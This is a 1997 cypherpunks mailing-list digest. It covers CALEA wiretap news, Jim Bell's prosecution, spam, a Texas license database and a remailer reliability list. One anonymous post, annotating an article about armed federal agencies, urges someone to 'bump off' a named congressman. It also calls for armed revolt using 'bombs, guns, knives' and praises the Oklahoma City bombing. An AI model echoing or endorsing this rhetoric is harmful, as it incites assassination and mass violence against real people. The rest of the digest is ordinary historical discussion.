http://www.wirelessweek.com/News/Aug97/two818.shtml

Content-Type: text/html; charset=us-ascii; name="two818.shtml"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="two818.shtml"
Content-Base: "http://www.wirelessweek.com/News/Aug97
	/two818.shtml"








<http://www.wirelessweek.com/News/Aug97/cgi-win/redirect.exe?http://www.biacompa
nies.com/>



>From the August 18, 1997 issue of Wireless Week


CALEA Action Moves Backstage


By Edward Warner


WASHINGTON--The Department of Justice called off an industry-FBI meeting on
the 1994 digital wiretap law. However, sources say the parties involved are
trying to resolve their conflicts and will meet later this month.


Last week's meeting was to involve CEOs of wireless carriers, their trade
groups and both Attorney General Janet Reno and FBI Director Louis Freeh.


Sources said the industry asked DOJ to postpone the meeting. One source
said backstage discussions are now under way between the two sides and may
produce a proposed solution if adequate time is allowed.


Another carrier source said that due to summer holidays, too few CEOs from
wireless carriers were expected to attend. The executives, many of whom
have little hands-on experience with the Communications Assistance to Law
Enforcement Act, couldn't be brought up to speed with such short notice.


The Cellular Telecommunications Industry Association earlier this month
asked the FCC to resolve the dispute because all carriers must comply with
the law by October 1998, and no standard is available. Reacting to the
FCC's request, Daniel Phythyon, head of the FCC's Wireless
Telecommunications Bureau, said there's "already an intricate process"
under way between the two sides. He could not say whether the FCC would
respond to CTIA's request.


The request was seconded last week in a joint petition filed by the two
civil liberties groups that focus on technology issues. Those groups, the
Center for Democracy and Technology and the Electronic Frontier Foundation,
said jointly that the FBI is trying to acquire extra legal wiretap powers.


Congress asked the industry to determine what new network functions
carriers must offer to comply with CALEA. However, the FBI is fighting the
proposed industry-supported functions. In the petition, the EFF and the CDT
said that much of what the FBI wants is impermissible. For instance, the
FBI previously requested that it be able to track mobile phones, even when
they're not being used. This, the two groups said in a statement, "would
effectively turn the cellular network into a nationwide, real-time location
tracking system."


CALEA compliance also is costly and makes the carriers susceptible to
invasion of privacy lawsuits, CTIA President and CEO Tom Wheeler said.
Wheeler, who was out of the country last week, has been a key force
pressing for the meeting.




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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TheeInterNet@hotmail.com
Date: Sun, 17 Aug 1997 22:01:22 +0800
To: <cypherpunks@Algebra.COM>
Subject: mediated capital spectacular enemy
Message-ID: <199708171658.QAA10512@server.imsday.com>
MIME-Version: 1.0
Content-Type: text/plain



Thee InterNet is not a collection of machines, but a social
relation among people, *mediated* by nothing.

Thee InterNet is *capital* to such a degree of accumulation
that it becomes a machine.

Thee InterNet which eliminates all geographical distance 
reproduces distance internally as *spectacular* separation.

InterNet theory is now the *enemy* of all InterNet ideology
and knows it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 18 Aug 1997 06:30:27 +0800
To: cypherpunks@toad.com
Subject: Ames Criminal Complaint
Message-ID: <1.5.4.32.19970817221142.006eff34@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We've put the 39-page criminal complaint against Aldrich 
Ames and Rosario Ames, with arrest warrant and requests 
for search and seizure at:

   http://jya.com/ames.htm  (93K)

Which may be compared to those of Jim Bell, in order,
as Bob Hettinga merrily portends, to ready us to ponder
each our own upcoming toilet plunge.

Too bad that Jim didn't get (or hasn't yet gotten) the kind
of swell-solitary-cell Rick and Rosario briefly enjoyed for CIA 
toilet diving (a la Trainspotting).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Mon, 18 Aug 1997 08:23:42 +0800
To: Blanc <blancw@cnw.com>
Subject: Re: Canarypunk: Jim Bell in a coalmine
In-Reply-To: <3.0.32.19970817151550.00a36d98@cnw.com>
Message-ID: <Pine.SOL.3.96.970817183119.3926A-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



you might consider a webpage that reports on visits, status,
and so forth.

I've always thought his AP stuff silly, but I can't help
but think it had somethng to do with his arrest and 
his prosecution.  Perhaps the govt doesn't have a good
silliness filter.
MacN

On Sun, 17 Aug 1997, Blanc wrote:

> >From Robert Hettinga:
> 
> >Well, if he's still in there, and Vince Cate is up for it, we can probably
> >give you a scholarship, which, for FC98, means we let you in the door free.
> [.....]   Mostly it's to show that I, and maybe Vince, if
> >not the rest of the FC++ organization, realize that there, for the grace of
> >the net, go us, too, someday, if we don't do something to show that people
> >like Jim Bell, however loony or repugnant their ideas are to us personally,
> >are not alone.
> ........................................................................
> 
> I was kidding, but that's awful nice of you, even if I still must pay for
> the rest of it.   Yes, I'll still go visit JimBob - I'll have to find out
> about his location, hours, etc.    Again, if any of you in this area would
> like to make the trip or meet there, perhaps meeting later as well for
> dinner and scholaryly discussion on the perils of free speech and such,
> please let me know.   
> 
>     ..
> Blanc
>     ..
> Blanc
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kelly <kelly@count04.mry.scruznet.com>
Date: Mon, 18 Aug 1997 10:29:50 +0800
To: cypher <cypherpunks@cyberpass.net>
Subject: New use for  Eternity Server
Message-ID: <33F7ABE9.1820A4D1@count04.mry.scruznet.com>
MIME-Version: 1.0
Content-Type: text/plain



Maybe someone should feed the pgp 5.0i sources to a c to HTML converter
and post the output to
the eternity servers..

    mmm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 18 Aug 1997 08:56:21 +0800
To: cypherpunks@toad.com
Subject: Re: Canarypunk: Jim Bell in a coalmine
Message-ID: <1.5.4.32.19970817234925.00735e04@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



>From the Privacy Act Online via GPO Access [wais.access.gpo.gov]
[DOCID:tres_irs-99]

DEPARTMENT OF TREASURY

Treasury/IRS 60.001

System name:

   Assault and Threat Investigation Files, Inspection--Treasury/IRS.

System location:

   Office of the Chief Inspector, National Office; Regional Inspectors'
  Offices; as well as offices of the District Directors. (See IRS
  appendix A for addresses.)

Categories of individuals covered by the system:

   Individuals attempting to interfere with the administration of
  Internal Revenue laws through threats, assaults or forcible
  interference of any officer or employee while discharging the official
  duties of his position, or individuals classified as potentially
  dangerous taxpayers, based on verifiable evidence or information that
  fit the following criteria: (1) Taxpayers who physically assault an
  employee; (2) taxpayers who have on hand a deadly or dangerous weapon
  when meeting with an employee and it is apparent their purpose is to
  intimidate the employee; (3) taxpayers who make specific threats to do
  bodily harm to an employee; (4) taxpayers who use animals to threaten
  or intimidate an employee; (5) taxpayers who have committed the acts
  set forth in any of the above criteria (1) through (4), but whose acts
  have been directed against employees of other governmental agencies at
  Federal, state, county, or local levels; (6) taxpayers who are not
  classifiable as potentially dangerous through application of the above
  criteria (1) through (5), but who have demonstrated a clear propensity
  toward violence through acts of violent behavior to a serious and
  extreme degree within the five (5) year period immediately preceding
  the time of classification as potentially dangerous; and (7) persons
  who are active members in chapters of tax protest groups that advocate
  violence against IRS employees.

...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Mon, 18 Aug 1997 04:38:18 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <KdVwzjZvE64f/+i1OVjEJA==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



At 01:03 PM 8/17/97 -0400, Anonymous wrote:
>"They started screaming, 'Put your hands where we can see them.' They
>unzipped my sleeping bag. I had to get face down on the floor and they
>handcuffed me," the teenager said. She recalled the intruders wore ski
>masks and carried machine guns. They kept her handcuffed for two hours.

Nazi Fascism at work.  Legalized thugs, the NEW brownshirts.

>The target of the raid? A 6,500-acre bow-and-arrow hunting ranch, the last
>bastion of private property on the island. The raid resulted in three
>arrests -- volunteer Rick Berg, 35, and caretakers Dave Mills, 34, and
>Brian Krantz, 33 -- on suspicion of robbing Chumash Indian graves and
>taking human remains and artifacts, charges they denied.

All that shit to arrest some guys who may or may not have taken things from graves???  Someone explain to me how we need to have people with Automatic Weapons arrest some guys for a trivial crime?  Nazi Fascism at work.

>The agency responsible for all this was not the Bureau of Alcohol, Tobacco
>and Firearms, nor the FBI, nor any other agency typically associated with
>such "dynamic entries." This raid was the work of the National Park
>Service.

You've gotta be shitting me.  Forest Rangers with Automatic Weapons????? I'd hate to see what they'd do to a guy lighting a match in a forest camping ground.

>Surprised? So were local residents. Though no lives were lost, the raid
>inspired a firestorm of protest. "It saddens me that the Park Service has
>resorted to Ruby Ridge tactics," said Marla Daily, president of the Santa
>Cruz Island Foundation, referring to the September 1992 standoff between
>the FBI and Randy Weaver that resulted in the death of Weaver's wife. "This
>incident clearly crosses the line," Daily said.

This incident demands armed rebellion and government overthrow.  It demands people going to parks to carry automatic or semi-automatic rifles.

>If the use of the Park Service in commando-style operations seems strange,
>it shouldn't. At a time when elected legislative bodies from city councils
>to Congress -- have been passing laws that restrict the rights of
>law-abiding citizens to keep and bear arms, federal agencies within the
>executive branch have been quietly authorizing dramatically increased
>numbers of armed personnel -- often heavily armed with military-style
>assault weapons.

If this isn't pure evidence of preparing a takeover of fascist forces, then i don't know what its.

>Today, there are nearly 60,000 federal agents trained and authorized to
>enforce the over 3,000 criminal laws Congress has passed over the years,
>plus the hundreds of thousands of regulations which now carry criminal
>penalties.

This is another big leap past what our Founders intended.

>"Good grief, that's a standing army," said Larry Pratt of Gun Owners of
>America. "It's outrageous."

Then it's time for all citizens of this country who love freedom to form a militia, controlled by citizens.  Arm yourselves.

>According to a recent report from the General Accounting Office, as of last
>September, the number of law enforcement personnel stood at just under
>50,000 -- distributed through 45 agencies -- an increase of about 12,000
>agents in 10 years with 2,436 added in 1996 alone. These are full-time
>agents, authorized to execute searches, make arrests, and/or carry firearms
>"if necessary."

If necessary is another double-talk bullshit term meaning carry weapons dangerous to freedom-loving citizens everywhere.

>But that number is not complete. When some 7,145 Customs inspectors and 317
>Customs Department pilots are added -- all of whom have the above listed
>law enforcement powers -- the total is pushing 60,000. Why doesn't the GAO
>count them? Not because they aren't armed and dangerous, but because they
>have different retirement benefits.

And some beaureacratic bullshit along with Fascism.

>Also, a GAO staff consultant explained that the report doesn't include
>contract personnel or personnel from agencies with less than 25 officials
>in law enforcement -- which is why some agencies, the Federal Emergency
>Management Agency, for example, aren't on the list.
>
>The recent GAO report is the third and final in a series requested by Rep.
>Bill McCollum, R-Florida, chairman of the House Subcommittee on Crime, to
>gather information on agencies charged with investigating violations of
>federal law.

Someone PLEASE bump off Bill McHitler.

He's the same jackass that was proposing the "Dangerous Predators" bill jailing kids with adults.

>An earlier report, released last year and presenting figures through Sept.
>30, 1995, dealt with the 13 biggest agencies -- those with 700 or more
>investigative personnel. Not surprisingly, the FBI topped the list with
>over 10,000 agents, followed by the INS, Drug Enforcement Administration,
>and the U.S. Marshalls Service -- all in the Department of Justice.
>Treasury agencies follow -- the Internal Revenue Service, U.S. Secret
>Service, Customs, BATF and the Postal Inspection Service. Then the National
>Park Service, U.S. Capitol Police, the Naval Criminal Investigative Service
>and the Bureau of Diplomatic Security in the State Department.

Why not go ahead and just for ministries of Peace, Truth, Plenty?

>The final report deals with the 32 agencies that employ about 9 percent of
>the law enforcement personnel. It's among these 32 that you'll find the
>U.S. Fish and Wildlife, EPA's Office of Criminal Enforcement, Forensics and
>Training, the Bureau of Land Management's Law Enforcement division and
>other law enforcement bodies not usually traditionally with guns.
>
>Yet, the proliferation of firearms is even greater in these agencies: from
>a total of 2,471 law enforcement employees in 1987 to 4,204 as of Sept. 30
>last year, a 70 percent increase.

It's time we the people started doing the same.

>But beyond the flat figures loom questions of how agencies are using, or
>abusing, the powers they have in everyday law enforcement. Sting operations
>and other entrapment tactics, hidden-camera surveillance, phone tapping --

Don't forget interrogation beatings, and illegal search and seizures.

>these have become commonplace practices in the name of investigation. So,
>too, has the use of dynamic entry teams -- the kind witnessed at Waco and
>Ruby Ridge.

And they wonder why the Davidians were armed to the teeth.

>David Kopel, director of the free-market Independence Institute in Golden,
>Colorado, is an outspoken critic of the usurpation of local and state
>police authority by the federal government and the growing use of violence
>in law enforcement. According to Kopel, the FBI has 56 SWAT teams that
>"specialize in confrontation rather than investigation, even though
>investigation is, after all, the very purpose of the bureau."

Also purposes include fighting strong crypto among citizens, and threatening makers of crypto.

>"Whereas (J. Edgar) Hoover's agents wore suits and typically had a
>background in law or accounting, SWAT teams wear camouflage or black ninja
>clothing and come from a military background," he said. "They are trained
>killers, not trained investigators."

That's why we need to have MORE citizen militias then EVER.

>Even worse, other agencies are trying to match "FBI swashbucklers." BATF,
>DEA, U.S. Marshalls Service, even the National Park Service and Department
>of Health and Human Services -- all have their own SWAT teams.

If I start seeing postal agencies with swat teams I'm joining a militia.

>Contacted by telephone, Kopel said he was "not shocked " at the growing
>size of the community of federal law enforcement personnel as reported by
>the GAO, "in light of the trends over the past 20 years." "Of course," he
>added, "it would have astonished and frightened the authors of our
>Constitution."

As I said, Nazi Fascism, and usurping of freedom.

>"There's a continuing imperative (for an agency) to get power, and they'll
>come back again and again until they get it," says Eric Sterling, president
>of the Washington-based Criminal Justice Policy Foundation and a counsel
>for the House Judiciary Committee in the 1980s. Sterling, who describes
>himself as a liberal, is particularly alarmed by the arming of agencies
>with military weapons, such as machine-guns.

I'm increasingly astonished at the rate we citizens lose military weapons.

>"The machine-gun is an indiscriminate weapon, and is singularly
>inappropriate for the FBI and other agencies," he said. "Its use by a
>government agency is a horrifying prospect."

Yes, horrifying that soon it will lead to Dictatorship.

>In full agreement is Greg Lojein, legislative counsel for the American
>Civil Liberties Union. He deplores not only the expansion of the federal
>law enforcement, but the lack of constraining mechanisms.

There is a constraining mechanism, bombs and military rifles in the hands of citizens.

>"Local police are subjected to review (by civilian boards), but not federal
>agents," he noted. "When the Department of Justice investigates (an agency
>incident), the results are not nearly as trustworthy as when an independent
>entity investigates. Just ask Richard Jewell about this."

Well, the Feds are above the law anyway.

>Lojein called attention not only to the procurement of military weapons
>themselves, but to the acquisition of heavy equipment such as military
>helicopters and tanks as well -- "heavy equipment," he said, "more
>characteristic of war than of law enforcement."

War against citizens.

>"The last thing people want to see is a tank on a city street," he said.
>"That's what you expect to see in Bosnia, but not in Boston."

Time to see more bomb-throwing freedom fighters here in America.

>Kopel sees the federalization of law enforcement and the growth of the FBI
>as parts of a larger effort to establish a national police force. He cites
>in particular the involvement of the FBI in local law enforcement. "Besides
>traffic tickets, there aren't many crimes where the FBI isn't involved in
>the prosecution," he said.

Nazi Fascism at work.

>Eventually, he predicts, federal law enforcement agencies will be merged
>--beginning by moving the Treasury agencies under the control of the
>Justice Department, as Al Gore has recommended. "But a separation of powers
>is at least a small check on the movement towards total police power
>consolidation and keeps them from going completely overboard," said Kopel.

It's time to rebel.

>Others are concerned that the militarization of the federal government has
>already gone too far -- that once-benign agencies have been given
>incentives to become armed and dangerous.

Many citizens have been given the incentive to make themselves armed and VERY dangerous to fascism loving nazis like Clinton and Freeh.

>The raid at Santa Cruz, for instance, wasn't the first for the Park
>Service. It wasn't even the most horrific in terms of outcome. Just one
>month after the Weaver debacle at Ruby Ridge, Malibu millionaire Donald
>Scott was gunned down in his home in a mid-morning assault involving 14
>agencies, including NASA, Immigration and Naturalization Services and the
>L.A. County Sheriff's Department. The alleged reason for the attack was
>that Scott was suspected of growing marijuana.

<sarcasm>Obviously, a dangerous crime to society.</sarcasm>

>None was found. There, as at
>Santa Cruz Island, the lead agency was the NPS; and there, too, the real
>reason was to acquire Scott's estate for the Park Service.

Stealing land from citizens for use by the rulers.  I'm telling ya, it's FASCISM.

>At Santa Cruz, the National Park Service had been trying to obtain the
>6,500-acre ranch -- which covers 10 percent of the island. The Nature
>Conservancy owns the other 90 percent. The three arrests occurred as the
>National Park Service had obtained orders from Congress to seize the ranch.

Seize it for what?

The time has come for all people to revolt with weapons; bombs, guns, knives, and anything that can kill Fascist Nazis and their supporters.  Aquire weapons, form militias, retake the country.  It's time to reinstate Democracy.

If this continues, we're going to see more Oklahoma Cities.

Arm yourselves, arm your neighbors, arm freedom lovers.  Fight Fascism.  That is the ONLY answer.

And they still wonder why McVeigh said "Enough!!!"

FreedomMonger
"There's something wrong when Ranger Rick gets and automatic weapon, and Federal agencies become blurred with the Military."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 18 Aug 1997 12:13:32 +0800
To: rah@shipwright.com
Subject: Re: Canarypunk: Jim Bell in a coalmine
In-Reply-To: <Pine.SOL.3.96.970817204023.18290A-100000@rigel.cyberpass.net>
Message-ID: <3.0.2.32.19970817210628.006de130@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain



>Okay. So we know that Bell has pled, and he's in there for a while.
>
>How long until he gets out, now?
>
>Has he moved to another facility?
>
>Is all this moot because he's admitting to something which is not related
>to his activities on this list? If I remember, his A/P rant here was still
>pretty central to the Feds' case, right?

As far as I can tell from what I've read on the list, Jim has plead guilty
but will not be sentenced until sometime in October. (November?)

In the interim period, he'll be interviewed pretty extensively by a federal
probation officer, who will prepare a presentencing report which discusses
Jim's attitude(s), prior conviction(s), drug/alcohol use, family
status/influences, work history, etc. The presentence report is supposed to
provide a context (for better or worse) into which the conviction(s) and
sentence are placed. Jim and his attorney are supposed to get a chance to
review the presentence report and object to it or supplement it before
sentencing. This is a part of the process where it's possible that Jim is
about to get screwed, because in large part this is one big litmus test re
"bad attitude" (towards authority), which Jim had at one time, and quite
possibly still has. 

The sentence he recieves will depend upon the federal sentencing
guidelines; the guidelines will provide a range of months for incarceration
and/or probation, depending on the offense level of the crime(s) he plead
to and his criminal history (which appears to be relatively minimal, e.g.,
a previous guilty plea re possession of a precursor to methamphetamine).
It's difficult to guess what his final offense level will be (and hence
guess what range the judge will have to work with) because it depends on
the amount of taxes he evaded. 

The sentence is determined by the judge, and should be within the range(s)
specified by the sentencing guidelines, unless the judge has a reason to
depart (which can be "upward" = more time, or "downward" = less time) from
the guidelines; there are a number of adjustments to the offense level for
things like weapon use, acceptance of responsibility, etc. The judge is
only allowed to depart from the range specified if there are
aggravating/mitigating factors which aren't covered by the pre-existing
adjustments. 

More information about the sentencing guidelines is available at
<www.ussc.gov>. 

His political/economic ideas aren't relevant/important to the crimes he
plead to, although I personally suspect that they've got a lot to do with
the decision to investigate and prosecute him.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Mon, 18 Aug 1997 11:52:40 +0800
To: cypherpunks@cyberpass.net
Subject: Fw: Re: (Fwd) FWD: Texas Driver's License database on the web
In-Reply-To: <Pine.BSI.3.96.970816235302.22847A-100000@dogbert.xroads.com>
Message-ID: <Chameleon.871871758.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain





> There was an article in the WSJ about this recently, TX has passed a law
> that goes into effect Sept. 1ST that will make publiclink illegal, they
> said they would continue to run the site and see what happens in court.
> Don't remember the date of the article.

I yelled about this as loud as I could to every state rep and senator I 
could find when I first heard about this site a few months ago.

The point that the scum at the texas dept of safety(hows that for orwellian 
in this case) are the ones selling the databases. It is so typical for the 
state to make a law prohibiting someone else to do that which they are 
doing themselves. The solution I gave them was to simply stop selling the 
information, and the situation would resolve itself.

So fucking typical of government in general. How can they even wonder why 
so many people hate them so?


---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 08/17/97
Time: 22:32:19
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 18 Aug 1997 14:43:06 +0800
To: cypherpunks@toad.com
Subject: Re: Picketing With Packets
In-Reply-To: <Pine.LNX.3.93.970818024934.105G-100000@shirley>
Message-ID: <1BBmBe2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> On Sat, 16 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > In all fairness, in addition to Stanford Wallace, there are several
> > other spammers sending out junk e-mail. If you completely eliminate
> > Stanford and his company, you will STILL get junk e-mail.
>
> Of cause this is true,  but he is one of the beggest and thus gets the
> most attention.  If we can stop him we cut down alot of email spam and we
> can move on the smaller one.  Its like optimising code,  you find where
> its taken most of its time and you optimise that.

He's the loudest one. However in the week his system has been down,
the amount of shit from Quantcom, newvest, etc hasn't subsided.

> > Perhaps this will spark another round of a cypherpunk discussion of
> > technical solutions to junk e-mail...
>
> Hopefully,  the spammers are just as effective censors as the goverment
> is IMHO.

The answer is a technical solution that doesn't let the spammers drown
out a discussion, if that's what you mean by censorship.

> > I placed myself on a zillion "remove" lists.  Now I no longer get any
> > junk e-mail of interest (which I did on rare occasions),
>
> I'm haveing trubble parsing this message,  do you mean that you are not
> getting any junk e-mail that you are interested in?

I mean, I used to get more unsolicited junk mail, which I deleted, but
occasionally I saw something of moderate interest - say, someone
selling blank CDR media reasonably cheap (not that I'd buy them from
someone advertizing this way).  Now all I get is pure crap. :-)

> > but still get at least once a day an MMF
>
> I think this is a diffrent class of posting.  Thouse peaple who post MMF
> do it from ignorence and stupidity, while this dosn't make what thay have
> done any less harmfull, it means that it has to be fixxed in a diffrent
> way to normal UCE.

For reasons unknown, I seem to be on someone's mailing list for MMF's
- I get A LOT of them in e-mail :-(

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 18 Aug 1997 05:20:45 +0800
To: cypherpunks@toad.com
Subject: Re: Picketing With Packets
In-Reply-To: <uLuJBe4w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970818024934.105G-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 16 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

[...]

> In all fairness, in addition to Stanford Wallace, there are several
> other spammers sending out junk e-mail. If you completely eliminate
> Stanford and his company, you will STILL get junk e-mail.

Of cause this is true,  but he is one of the beggest and thus gets the
most attention.  If we can stop him we cut down alot of email spam and we
can move on the smaller one.  Its like optimising code,  you find where
its taken most of its time and you optimise that.  

> Perhaps this will spark another round of a cypherpunk discussion of
> technical solutions to junk e-mail...

Hopefully,  the spammers are just as effective censors as the goverment
is IMHO.

> I placed myself on a zillion "remove" lists.  Now I no longer get any
> junk e-mail of interest (which I did on rare occasions),

I'm haveing trubble parsing this message,  do you mean that you are not
getting any junk e-mail that you are interested in?

> but still get at least once a day an MMF

I think this is a diffrent class of posting.  Thouse peaple who post MMF
do it from ignorence and stupidity, while this dosn't make what thay have
done any less harmfull, it means that it has to be fixxed in a diffrent
way to normal UCE.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM/ctg6QK0ynCmdStAQGVDAQAhHkKWZs0Mxnqs0OEcZ71x8mxZaJSCaYq
ZYu3UU6jH91+Qg1s+Cl2q/t+YF4RQIId0rX1irqVx+Cp80fQKYDJrTDXD3ptwa9B
2p8zDouF08yuzKvhrC9gC2JbgB4AzYmbAYyQ4KrjuPxuEEOd8omQKYFdkhHnZ6/W
FfR/djktv4E=
=8rv9
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 18 Aug 1997 10:51:23 +0800
To: cypherpunks@toad.com
Subject: Nothing Accumulation Separation All
Message-ID: <199708180209.EAA24674@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Thee InterNet is not a collection of machines, but a social
relation among people, mediated by *nothing*.

Thee InterNet is capital to such a degree of *accumulation*
that it becomes a machine.

Thee InterNet which eliminates all geographical distance 
reproduces distance internally as spectacular *separation*.

InterNet theory is now the enemy of *all* InterNet ideology
and knows it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 18 Aug 1997 19:58:25 +0800
To: cypherpunks@Algebra.COM
Subject: FTP site mirroring script
Message-ID: <3.0.2.32.19970818044933.006f82d8@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Would somebody please point me to a solid FTP site mirroring script?

Thanks,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 18 Aug 1997 22:08:23 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199708181350.GAA10091@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash esub latent cut ek reord";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

The remailer list here has been out of date for some time, but should
be up to date now. I'm still working on updating the web page.

Last update: Mon 18 Aug 97 6:46:07 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
redneck  config@anon.efga.org             #++-*##*#+**     3:33 100.00%
nym      config@nym.alias.net             --####*+++##    11:49 100.00%
cracker  remailer@anon.efga.org           +++-++++++++    25:00  99.98%
weasel   config@weasel.owl.de             +-----++--++  2:12:01  99.96%
winsock  winsock@rigel.cyberpass.net      -.-------+-+  3:57:20  99.95%
cyber    alias@alias.cyberpass.net        **+-+-+++**+    17:30  99.86%
mix      mixmaster@remail.obscura.com     +*+-+-+++*+*    28:02  99.84%
replay   remailer@replay.com              ***-**++ ***     7:51  99.67%
valdeez  valdeez@juno.com                  _  *-++---  22:11:38  99.21%
arrid    arrid@juno.com                   --+-++++-++   1:31:52  98.87%
bureau42 remailer@bureau42.ml.org             +------   2:26:04  98.46%
reno     middleman@cyberpass.net           --     ++-   1:17:17  98.14%
hera     goddesshera@juno.com             ----------    5:28:32  96.11%
squirrel mix@squirrel.owl.de                 -.------   3:57:26  93.98%
neva     remailer@neva.org                -- -*- ---*#  2:13:06  93.34%
jam      remailer@cypherpunks.ca          -- +*- ---**  2:24:34  92.40%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
